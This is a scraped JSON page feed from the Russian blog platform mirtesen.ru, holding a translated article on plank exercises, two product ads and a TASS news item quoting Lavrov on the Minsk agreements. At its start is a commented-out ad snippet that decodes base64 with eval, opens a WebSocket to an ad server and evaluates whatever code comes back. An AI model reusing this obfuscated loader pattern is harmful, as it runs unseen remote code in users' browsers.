\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>\x3cstrong>Планку \x3c/strong>часто называют идеальным упражнением, чтобы изменить ваше отношение, настроение и ум. К сожалению, альтернативные упражнения недооценены, и некоторые люди считают, что членство в тренажерном зале — единственное, что может приблизить их к телу их мечты\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>Вы когда-нибудь слышали о минималистских упражнениях? Их можно рассматривать как старомодные, так и высокоэффективные способы.\x3c/p>\n\x3cp>\x3cstrong>В этой статье мы сосредоточимся на важности вашей основной силы и основ планки. Вы также узнаете, как делать классическую доску.\x3c/strong>\x3c/p>\n\x3cp>Ваше ядро\x3cbr />Ваше ядро состоит из брюшной, задней и тазовой мышц. Они разделены на первичные и вторичные мышцы. Первичные сердечные мышцы — это мышцы тазового дна, трансверсальные абдомины, мультифидусы, внутренние и внешние косые мышцы, прямая абдомина, эректорная спина и диафрагма.\x3c/p>\n\x3cp>\x3cstrong>Важность вашего ядра\x3cbr />У вашего ядра есть несколько жизненно важных функций, и они участвуют во многих процессах.\x3c/strong>\x3c/p>\n\x3cp>— Поддержка спины \x3cbr />Около 80 процентов людей имеют дело с болью в пояснице в своей жизни. Хроническая боль в спине может иногда мешать вам выполнять обычные задачи. Ваши основные мышцы играют основную роль в обеспечении здоровой спины.\x3c/p>\n\x3cp>\x3cstrong>— Осанка\x3c/strong>\x3cbr />Ваша осанка зависит от ваших основных мышц. Более того, правильная осанка ограничивает износ, который приносит свои уроны, когда вы стареете.\x3c/p>\n\x3cp>\x3cstrong>— Регулярное движение\x3c/strong>\x3cbr />Почти каждое движение включает в себя основные мышцы. Вы не можете наклоняться, сидеть, вращаться и стоять без них.\x3c/p>\n\x3cp>\x3cstrong>— Стабильность и равновесие\x3c/strong>\x3cbr />Ваше ядро — это связь между вашим верхней и нижней частью тела. Оно поддерживает хороший баланс и стабильность. Заботьтесь о нем.\x3c/p>\n\x3cp>\x3cstrong>Планка\x3c/strong>\x3cbr />Название «планка» связано с жесткой доской, которую вы часто видите. Она оказывает такое же влияние на ваше тело. Вы читаете это правильно. Планка задействует не только ваше ядро, а все тело.\x3c/p>\n\x3cp>Классические планки стимулируют живот, бицепс, плечи, ягодицы, квадрицепсы. Американский совет по физическим упражнениям говорит, что классические планки уменьшают риск болей в нижней и верхней частях спины.\x3c/p>\n\x3cp>\x3cstrong>Преимущества планки:\x3c/strong>\x3c/p>\n\x3cp>Ускорьте метаболизм:\x3cbr />Планки помогут вам сжигать больше калорий, чем приседания.\x3c/p>\n\x3cp>\x3cstrong>Улучшение осанки: \x3c/strong>\x3cbr />Планки выравнивают кости и суставы, и это улучшает положение вашего тела.\x3c/p>\n\x3cp>\x3cstrong>Гибкость:\x3c/strong>\x3cbr />Планки растягивают плечи, лопатки, воротничную кость, ножные арки и пальцы ног.\x3c/p>\n\x3cp>Планки также растягивают мышцы, склонные к напряжению и стрессу. Это упражнение помогает растянуть ноги, бедра, спину и плечи. Она также снимает напряжение и стресс и успокаивает реакцию вашего мозга.\x3c/p>\n\x3cp>\x3cstrong>Как сделать классическую планку\x3c/strong>\x3cbr />Вы должны знать несколько деталей, прежде чем делать классическую доску. Ваша спина должна быть прямой, и ваш живот также будет задействован. Не забудьте дышать — вдохните и выдохните медленно.\x3c/p>\n\x3cp>Перед выполнением планки вам не нужно растягиваться. Тем не менее, процедура быстрой растяжки более, чем рекомендуется, особенно если вы физически не активны.\x3c/p>\n\x3cp>\x3cstrong>Когда дело доходит до планки, нет специальной предварительной подготовки.\x3c/strong>\x3c/p>\n\x3cp>Все, что вам нужно сделать, это лечь лицом вниз на пол и поместить ваше тело в положение «для отжимания». Поддержите ваш вес тела на предплечьях и кончиках пальцев ног. Держите свое тело в прямой линии. Все будет хорошо, как только вы освоите технику. Начните с 10 секунд и увеличьте время, когда ваше ядро станет сильнее.\x3c/p>\n\x3cp>Планку можно легко сделать, но вам нужно использовать ее регулярно. Преимущества бесконечны. Это стоит каждой секунды, которую вы тратите\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3ca href=\"https://www.homeremediesnaturalcures.com/2018/09/03/science-explains-what-happens-to-your-body-when-you-do-planks-every-day/\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3cbr />Фото — \x3ca href=\"https://fitnavigator.ru/wp-content/uploads/2016/02/uprazhnenie-planka_10.jpg\" target=\"_blank\">fitnavigator.ru\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43240112180","tags":["классика","упражнение","планка","Здоровье","польза","выполнение"],"date":1536149887,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20244089103,"photo_original":"https://mtdata.ru/u20/photoEF76/20244089103-0/original.jpg","width":696,"height":387}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/nauka-obyasnyaet-chto-proishodit-s-vashim-telom-kogda-vyi-delaete-planku-kazhdyiy-den/","topic":"health","title":"Наука объясняет, что происходит с вашим телом, когда вы делаете планку каждый день","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-05T12:18:07.000Z","ver1":"5 сентября, 15:18","ver2":"05.09.2018 в 15:18","ver3":"5 сент., 15:18"},"images":[{"main":true,"url":"https://mtdata.ru/u20/photoEF76/20244089103-0/original.jpg","width":696,"height":387}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43805214486,"from_id":443948206,"from":{"id":443948206,"display_name":"Виталий Музычук","url":"https://mirtesen.ru/people/443948206","photo_original":"https://mtdata.ru/u33/photoCACA/20840932942-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30763998997,"text":"\x3ch1>Ткань Тенсел непромокаемая простынь\x3c/h1>\n\x3cp>\x3cimg style=\"float: right; margin: 5px;\" title=\"Простыня непромокаемая\" src=\"http://mtdata.ru/u23/photoC43D/20314387154-0/original.png#20314387154\" alt=\"Простыня непромокаемая\" width=\"300\" height=\"233\" />Простыня Тенсел обеспечивает дополнительный комфорт любому больному, \x3ca title=\"непромокаемая простынь\" href=\"http://bazmed.ru/products/prostynja-nepromokaemaja\">непромокаемая простынь\x3c/a> помогает избавиться от лишних проблем. Ткань Тенсел относится к новому поколению вискозных волокон, которые являются натуральным материалом, который произведен из эвкалипта. Материал обладает высочайшими свойствами впитывать и испарять влагу, что обеспечивает отличный теплообмен. Изделия из такого материала как правило гипоаллергенны и обладают высокой прочностью, а также не меняют форму после выполнения стирки. Различные виды доставки стоимостью от 200 руб., а также оплат наличными, банком или он-лайн. Изготовление наматрасников выполняется на заказ в любых размерах, а также детские. Специальные предложения юридическим лицам во время выполнения оптовых закупок, а также проведения акций постоянным клиентам. Детальная инструкция по покупке базмед помогает сделать заказ, кроме того безопасность платежей, а также конфиденциальность и качество гарантируется.\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://modadoma.mirtesen.ru/blog/43805214486","tags":["заказ","простыня","помогать","материал","непромокаемый","обеспечивать","ткань","выполнение"],"date":1449517472,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20314387154,"photo_original":"https://mtdata.ru/u23/photoC43D/20314387154-0/original.png","width":490,"height":380}}],"group":{"display_name":"Блог модников от Виталий Музычук","url":"https://modadoma.mirtesen.ru","photo_original":"//mtdata.ru/u23/group566A/1d8488b70779ec02da14329187758587-0/__logo.jpeg","id":30763998997,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1269688875856},"canonical_url":"https://modadoma.mirtesen.ru/blog/43805214486","topic":"home","title":"Ткань Тенсел непромокаемая простынь","preview_text":"Ткань Тенсел непромокаемая простынь Простыня Тенсел обеспечивает дополнительный комфорт любому больному, непромокаемая простынь помогает избавиться от лишних проблем. Ткань Тенсел относится к новому поколению вискозных волокон, которые являются натуральным материалом, который произведен из","post_type":"post","formattedDates":{"iso":"2015-12-07T19:44:32.000Z","ver1":"7 декабря, 22:44","ver2":"07.12.2015 в 22:44","ver3":"7 дек., 22:44"},"images":[{"main":true,"url":"https://mtdata.ru/u23/photoC43D/20314387154-0/original.png","width":490,"height":380}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43170285685,"from_id":985332209,"from":{"id":985332209,"display_name":"Павел Анищенко","url":"https://mirtesen.ru/people/985332209","photo_original":"https://mtdata.ru/u26/photo9A88/20635869328-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30592062080,"text":"\x3cdiv>\n\x3cdiv>\x3cspan style=\"font-size: medium;\">\x3cstrong>\x3cspan>Встреча глав МИД \"нормандской четверки\" будет посвящена политической части минских соглашений, заявил глава МИД РФ\x3c/span>\x3c/strong>\x3c/span>\x3c/div>\n\x3cdiv>\x3cstrong>\x3cspan> \x3c/span>\x3c/strong>\x3c/div>\n\x3c/div>\n\x3cdiv>\n\x3cdiv>\n\x3cdiv>\x3cimg src=\"http://mtdata.ru/u23/photoE391/20825916136-0/original.jpg#20825916136\" alt=\"Сергей Лавров\" width=\"744\" />\x3cstrong>\x3cspan style=\"font-size: x-small;\">Сергей Лавров \x3c/span>\x3cspan style=\"font-size: x-small;\">©\x3c/span>\x3cspan style=\"font-size: x-small;\"> Валерий Шарифулин/ТАСС\x3c/span>\x3c/strong>\x3c/div>\n\x3cdiv>\x3cstrong>\x3cspan style=\"font-size: x-small;\"> \x3c/span>\x3c/strong>\x3c/div>\n\x3c/div>\n\x3cdiv>\n\x3cp>МОСКВА, 10 сентября. /ТАСС/. Запад играет в опасную игру, говоря о срыве минских договоренностей в случае проведения местных выборов в Донбассе. Об этом заявил министр иностранных дел РФ Сергей Лавров. \x3c/p>\n\x3cp>\"Мы обратили внимание, что наши западные партнеры - европейские страны, США - начинают играть в очень опасную игру, заявляя, что, если состоятся местные выборы на Донбассе, в соответствии с теми решениями, которые Донецк и Луганск были вынуждены принять в отсутствии шагов Киева по выполнению минских договоренностей о проведении консультаций для организации таких выборов, то в этом случае, говорят наши западные партнеры, это будет означать срыв выполнения минских договоренностей, - отметил министр. - Мы обращаем внимание на то, что киевская власть последовательно действовала в полном противоречии с минскими договоренностями, сразу начиная с момента, когда они вступили в силу\".\x3c/p>\n\x3cp>\"Это касается и введения закона об особом статусе, вернее невведения закона об особом статусе. Это касается и отсутствия какого-либо прямого диалога по вопросам конституционной реформы. Это касается и внесения весьма двусмысленного положения в конституцию Украины в том, что касается особенностей местного самоуправления на территориях провозглашенных Донецкой и Луганской областей. Это касается и закона об амнистии, без которого очень трудно рассчитывать на то, что выборы будут честными и справедливыми\", - подчеркнул глава МИД РФ.\x3c/p>\n\x3ch2>О местных выборах в Донбассе\x3c/h2>\n\x3cp>Первым условием подготовки выборов в Донбассе являются прямые консультации между Киевом, Донецком и Луганском, заявил Лавров.\x3c/p>\n\x3cp>\"Сейчас все вращается вокруг проблемы местных выборов в Донбассе, - отметил министр. - Украинские власти долгое время после того, как минские договоренности вступили в силу и были одобрены резолюцией СБ ООН, отказывались выполнять ту часть договоренностей, которая предполагала прямые консультации с Донецком и Луганском по модальностям проведения местных выборов. И настаивают только на том, чтобы эти выборы прошли по закону, который приняла Верховная рада и при полном вовлечении ОБСЕ в лице БДИПЧ\".\x3c/p>\n\x3cp>\"Повторю, что первым условием подготовки выборов в Донбассе являются прямые консультации и согласование модальностей проведения этих выборов, - сказал Лавров. - Донецк и Луганск готовы проводить эти выборы на основе украинского закона, они готовы, чтобы наблюдатели ОБСЕ получили право мониторить этот процесс, но они хотят обо всем этом договариваться в консультациях с украинской властью\".\x3c/p>\n\x3cp>\"Есть целый ряд аспектов, которые невозможно решить без консультаций с провозглашенными республиками, - продолжил министр. - Например, они выступают против того, и их прекрасно можно понять, чтобы в выборах на их территориях могли участвовать такие организации, как \"Правый сектор\" и прочие радикалы, что вроде как противоречит закону Украины, по которому эти организации наделены правом участия в выборах\".\x3c/p>\n\x3cp>\"Есть нюансы, и они далеко немаловажны, - заметил Лавров. - Радикалы, которые выступали и продолжают выступать с угрозами в адрес населения Донбасса, называют их оскорбительными именами, выступают против их культуры и их исторической памяти... не вижу, как они вообще могут быть допущены к участию в местных выборах. Они там зачистки грозились проводить, а теперь будут частью политического поля, так едва ли получится\".\x3c/p>\n\x3cp>\"Самое главное то, что эта проблема непроведения прямых консультаций по местным выборам этой темой не ограничивается, - сказал министр. - Отсутствие прямого диалога наблюдается и в том, что касается конституционной реформы, и в том, что касается введения в силу закона об особом статусе Донбасса\". \"Обо всем этом вчера очень подробно говорили лидеры России, Франции, Германии и Украины в ходе телефонного разговора\", - напомнил Лавров.\x3c/p>\n\x3cp>По словам министра, системная проблема состоит в том, что \"украинское правительство, в отличие от того, что было записано в минских договоренностях, настаивает на том, чтобы все вопросы, касающиеся особого статуса Донбасса, конституционной реформы в отношении этих территорий, решались только после того, как будут проведены местные выборы\". \"Одновременно эти же власти украинские делают все, чтобы эти выборы там не состоялись\", - подчеркнул Лавров.\x3c/p>\n\x3ch2>О встрече глав МИД \"нормандской четверки\" \x3c/h2>\n\x3cp>Встреча глав МИД \"нормандской четверки\" (Россия, Украина, ФРГ, Франция), которая пройдет в Берлине 12 сентября, будет посвящена политической части минских соглашений, заявил Лавров.\x3c/p>\n\x3cp>\"Мы целиком и полностью привержены духу и букве до последней запятой минских договоренностей, - подчеркнул Лавров. - Мы будем настаивать на том, чтобы оценка их выполнения была непредвзятой, была не выборочной, а комплексной во всей их полноте и в строгом соответствии с той последовательностью, которая в них заложена\".\x3c/p>\n\x3cp>\"Вот об этом будем говорить, прежде всего, на встрече глав МИД в Берлине 12 сентября. Лидеры наших стран договорились о том, что эта встреча будет посвящена, прежде всего, политическим аспектам минских договоренностей, - сказал глава МИД РФ. - Это касается и выборов, и статуса, и изменений в конституцию, проблем амнистии, обмена задержанными лицами. Всего того, что необходимо для создания правильной атмосферы для реализации всех политических аспектов комплекса мер от 12 февраля\".\x3c/p>\n\x3c/div>\n\x3c/div>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30592062080.mirtesen.ru/blog/43170285685","tags":["Минские договорённости","МИД РФ","Лавров","Киев","выполнение"],"date":1441921790,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20825916136,"photo_original":"https://mtdata.ru/u23/photoE391/20825916136-0/original.jpg","width":744,"height":478}}],"group":{"display_name":"События дня","url":"https://s30592062080.mirtesen.ru","photo_original":"//mtdata.ru/u23/group3EEB/a12546f42ffc86e0656608a4c48c558c-0/__logo.jpeg","id":30592062080,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1406657025465},"canonical_url":"https://s30592062080.mirtesen.ru/blog/43170285685","topic":"politics","title":"Лавров: Киев последовательно действовал в полном противоречии с минскими договоренностями","preview_text":"Встреча глав МИД \"нормандской четверки\" будет посвящена политической части минских соглашений, заявил глава МИД РФ\n \n\n\n\nСергей Лавров © Валерий Шарифулин/ТАСС\n \n\n\nМОСКВА, 10 сентября. /ТАСС/. Запад играет в опасную игру, говоря о срыве минских договоренностей в случае проведения местных выборов","post_type":"post","formattedDates":{"iso":"2015-09-10T21:49:50.000Z","ver1":"11 сентября, 0:49","ver2":"11.09.2015 в 0:49","ver3":"11 сент., 0:49"},"images":[{"main":true,"url":"https://mtdata.ru/u23/photoE391/20825916136-0/original.jpg","width":744,"height":478}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43016356963,"from_id":443948206,"from":{"id":443948206,"display_name":"Виталий Музычук","url":"https://mirtesen.ru/people/443948206","photo_original":"https://mtdata.ru/u33/photoCACA/20840932942-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30763998997,"text":"\x3ch1>Профессиональный ремонт айфонов\x3c/h1>\n\x3cp style=\"text-align: justify;\">\x3cimg style=\"float: right; margin: 5px;\" src=\"http://mtdata.ru/u24/photoA059/20838530707-0/original.jpg#20838530707\" alt=\"\" width=\"150\" height=\"150\" />Большой опыт работы, а также бесплатная диагностика и выполнение ремонта любой сложности, \x3ca href=\"http://apple-cult.ru/\">ремонт айфонов\x3c/a> делается с гарантией от 3 до 12 месяцев, а также бесплатной доставкой в сервисный центр. Хороший сервис от обычных ребят сидящих под вывеской СЦ можно отличить только по производимым работам, которые включают не только элементарный ремонт, но и более сложные виды работ, а также порядок цен и сроков на ремонт разных материнских плат. Чаще всего ремонт длится от 5 до 7 дней, а цена при этом не очень отличается. Задержки в ремонте бывают только при выполнении работ действительно повышенной категории, а также сложности. Запчасти для выполнения работ в СЦ заказываются напрямую, без использования посредников, что исключает дополнительные наценки. Вторым фактором ценообразования считается время которое тратится инженером на проведение работ. Подавляющее большинство разных неисправностей переходит в разряд типовых, что позволяет снижать стоимость выполнения работ. Технику нужно доверять профессионалам, чтобы не тратить лишние деньги на выполнение работ.\x3c/p>","comments_count":0,"marks_count":1,"likes":{"count":1,"user_likes":0,"can_like":0,"marks_pluses":1,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":1}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://modadoma.mirtesen.ru/blog/43016356963","tags":["наценка","ремонт","айфонов","работа","повышенный","бесплатный","цена","сложность","второе","выполнение"],"date":1432489175,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20838530707,"photo_original":"https://mtdata.ru/u24/photoA059/20838530707-0/original.jpg","width":150,"height":150}}],"group":{"display_name":"Блог модников от Виталий Музычук","url":"https://modadoma.mirtesen.ru","photo_original":"//mtdata.ru/u23/group566A/1d8488b70779ec02da14329187758587-0/__logo.jpeg","id":30763998997,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1269688875856},"canonical_url":"https://modadoma.mirtesen.ru/blog/43016356963","topic":"career","title":"Профессиональный ремонт айфонов","preview_text":"Профессиональный ремонт айфонов Большой опыт работы, а также бесплатная диагностика и выполнение ремонта любой сложности, ремонт айфонов делается с гарантией от 3 до 12 месяцев, а также бесплатной доставкой в сервисный центр. Хороший сервис от обычных ребят сидящих под вывеской СЦ можно отличить","post_type":"post","formattedDates":{"iso":"2015-05-24T17:39:35.000Z","ver1":"24 мая, 20:39","ver2":"24.05.2015 в 20:39","ver3":"24 мая, 20:39"},"images":[{"main":true,"url":"https://mtdata.ru/u24/photoA059/20838530707-0/original.jpg","width":150,"height":150}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"выполнение","tagId":80926727971,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"channelId":null,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}
